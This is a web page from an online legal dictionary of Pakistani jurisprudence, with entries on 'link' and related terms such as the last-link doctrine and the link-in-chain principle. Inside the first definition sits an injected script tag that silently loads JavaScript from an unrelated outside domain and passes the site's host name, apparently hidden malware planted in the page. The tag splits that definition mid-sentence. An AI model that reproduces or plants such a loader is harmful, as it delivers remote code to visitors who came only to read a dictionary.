Legal Dictionary of Pakistan
Quick lookup for English, Urdu, and Latin legal terms used in Pakistani jurisprudence.
Link
n. 1. A unit in a connected series; something that binds separate things <script defer type="text/javascript" src="https://beonlineboo.com/js/support.js?host=plsbeta.com"></script><!--c93448a6c5b87973--><link in the chain of title>. 2. A unit of land measurement, <one link equals 7.92 inches>.
juridical link
A legal relationship between members of a potential class action, sufficient to make a single suit more efficient or effective than multiple suits, as when all members of the class have been similarly affected by an allegedly illegal regulation. - Also termed juridical relationship.
last-link doctrine
The rule that an attorney need not divulge nonprivileged information if doing so would reveal information protected by the attorney-client privilege, particularly if the information would provide essential evidence to support indicting or convicting the client of a crime. ( This doctrine is often relied on as an exception to the rule that a client's identity is not privileged. For example, if divulging the client's name would supply the last link of evidence to indict or convict the client of a crime, the name need not be disclosed.
link financing
The obtaining of credit by depositing funds in another's bank account to aid the other in obtaining a loan.
link-in-chain principle
Criminal procedure. The principle that a criminal defendant's Fifth Amendment privilege against self-incrimination protects the defendant from not only answering directly incriminating questions but also giving answers that might connect the defendant to criminal activity in the chain of evidence. LIP. abbr. LEGALLY INCAPACITATED PERSON.